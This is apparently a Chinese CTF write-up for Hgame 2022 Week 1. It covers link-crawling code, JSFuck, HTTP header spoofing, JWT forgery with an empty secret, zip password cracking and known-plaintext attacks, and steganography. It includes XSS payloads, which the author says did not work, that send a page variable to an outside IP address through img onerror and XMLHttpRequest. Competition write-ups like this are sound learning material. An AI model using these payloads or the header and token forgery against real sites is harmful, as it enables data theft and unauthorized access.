Hgame 2022 WP Week1
Web
蛛蛛...嘿嘿♥我的蛛蛛
- 这题比较简单,主要是要写代码,手找也可以,就是有100个页面。
简单分析一下
- 第一个页面有一个href
- 第二个页面有两个按钮,但只有一个href。
- href的位置是随机生成的,比如第87个页面,就会在87个按钮中随机生成一个href。
可以用手来一个一个找,但还是推荐代码。
from asyncio import futures import bs4
from pip import main
import requests
def ph(value):
url = "https://hgame-spider.vidar.club/b6d50742e0"
url = url+value
res = requests.get(url=url).text
soup = bs4.BeautifulSoup(res, features="lxml")
ret = ""
for i in soup.find_all("a"):
if i.get("href"):
# print(i.get("href"))
ret = i.get("href")
h1_res = soup.find_all("h1")
for i in h1_res:
print(i.text)
p_res = soup.find_all("p")
for i in p_res:
print(i.text)
return ret
def fb(value):
if value == "":
return
else:
v = ph(value)
print(v)
fb(v)
if __name__ == '__main__':
fb("?key=ceoAJjVsz0a9lFv7itjDZttUbKf0DNiNVOhUAG02mggmZiyTgNHXdRZ1QaHzCAPnYF3oB%2BrW1pe5YGzQtnb1iQ%3D%3D")
最后在101个页面找到了,flag最后还再套了一下,在响应头里面的。
- 第一个页面有一个href
flag:
hgame{a0204768e95392d881bcd5a5f2f3c92329287db7d7d88a1301f1978e0084c2c2}
最后还总结一下这个过程中还用的别的XSS内容,虽然没用成功。
- img/input onerror报错执行JS代码
<img src="" onerror="var img=document.createElement('img'); img.src='http://[IP]:10020/'+flag; document.body.appendChild(img);">
<details open ontoggle=document.getElementsByClassName('name')[0].innerText=flag>
- 基于1的前提下,调用HTTP请求
<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://114.215.169.56:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">
- 参考的博客
- img/input onerror报错执行JS代码
Tetris plus
- 这题提示是游戏,那就是js的问题,然后说3000分,直接搜索3000就行。
- 第一个提示是说:flag 貌似被藏起来了,再找找吧!
3. 下面注释的是JSfuck,直接丢控制台里跑就行。
- flag:
hgame{jsfuck_1s_S0_fUu1n}
Fujiwara Tofu Shop
- 这题是看着WP做出来的,当时Cookie那边卡住了,没注意响应头。
- 请求来源需要为
qiumingshan.net
- 改User-Agent为
Hachi-Roku
- 发现需要发送Cookie
- 这里就卡住了,说是发送Cookie为
Raspberry
,但当时没注意响应头中有Set-Cookie。
- 将Cookie设为这个就可以了
- 这里就卡住了,说是发送Cookie为
相应后说需要添加汽油
- 这里也可以通过相应头中有Gasoline发现为0,设为100后在发送就可以了。
最后说是要从本地发送请求
- 尝试用
X-Forwarded-For
- 还可以用
X-Real-IP
- 尝试用
最后的payload:
cookie: flavor=Raspberry; Path=/; Domain=localhost; Max-Age=3600; HttpOnly gasoline: 100
referer: qiumingshan.net
User-Agent: Hachi-Roku
x-real-ip: 127.0.0.1flag:
hgame{I_b0ught_4_S3xy_sw1mSu1t}
easy_auth
- 这个题也是看WP出的,学到了点新东西。
- 先是注册,登陆后。
- 通过WP的提示,可以通过浏览器查看到token的位置。
- 通过字符串头发现是JWT,然后丢JWT解码一下(jwt.io)
- 获取到这些内容,发现检验失败(WP原话)。
- 根据WP提示清空了secret,可以检验成功。
- 改为id为1,Username为admin,进行JWT加密后,修改本地token。
- 获得flag
- flag:
hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}
Misc
这个压缩包有点麻烦
- 这题就真的套娃,以为出了,然后里面还有一层,超级大起大落。
第一层:爆破
六位数字
密码为:483279第二层:字典爆破
看提示说是字典
给了字典的直接拿字典爆就行
很快就爆出来了
密码为:&-`;qpCKliw2yTR\
第三层:明文攻击
提示是store存储,开始还不知道是什么东西,后面发现就是仅存储模式。
这里卡了很久,开始以为是7z的问题,后面发现是明文攻击需要保证压缩的工具一致,不然算法不一样就会报错。
用bandiZIP打开后发现和外面一样有一个README文件,便判断为明文攻击。
将README文件压缩后发现CRC一致,验证了想法。
可以发现存储方法这边,加密文件是用的Store方法,就是仅存储,不压缩的方式,开始甚至不知道XD。
然后用7z选定为仅存储即可
这样压缩的文件只是起到了一个打包的作用,不会压缩,基本上就是秒压缩。
这样就保证了一致性。将README文件当作明文文件进行攻击
第四层:文件隐写
- 打开图片后发现只有这个说明还没做完
- 用binwalk分析后提取出了压缩包
- 压缩包有加密
- 打开图片后发现只有这个说明还没做完
最后一层:伪加密
- 尝试用ZipCenOp解除加密,发现解除成功了。
- 然后就可以直接解压zip文件,得到flag
- flag为:
hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}
- 尝试用ZipCenOp解除加密,发现解除成功了。
好康的流量
- wireshark打开流量包后,发现有SMTP协议,然后直接跟踪。
- 发现内容是以base64的方式加密的图片,丢cyberchef解密。
- 把图片丢到stegsolve里看看是不是隐写。
- 在green plane 2发现有条形码
- 解码发现只有一半。
再通过在看LSB发现另一半。
flag为:
hgame{ez_1mg_Steg4n0graphy}
群青(其实是幽灵东京)
- 这题也是大意了,通过频谱看到了Yoasobi后,也用上了silenteye,但不知道把Yoasobi作为密钥来解密。
- 拿到音频文件后,用AU打开看频谱,得到Yoasobi
WP上说详细信息里说了有提示用silenteye,当时没看见,也用了silenteye。
Mac上也可以看到
然后就是通过silenteye把
Yoasobi
作为密钥进行解密,得到链接。下载下来的音频可以通过文件名发现是SSTV的传输,也可以用听的hhhh。
扫码获得flag:
hgame{1_c4n_5ee_the_wav}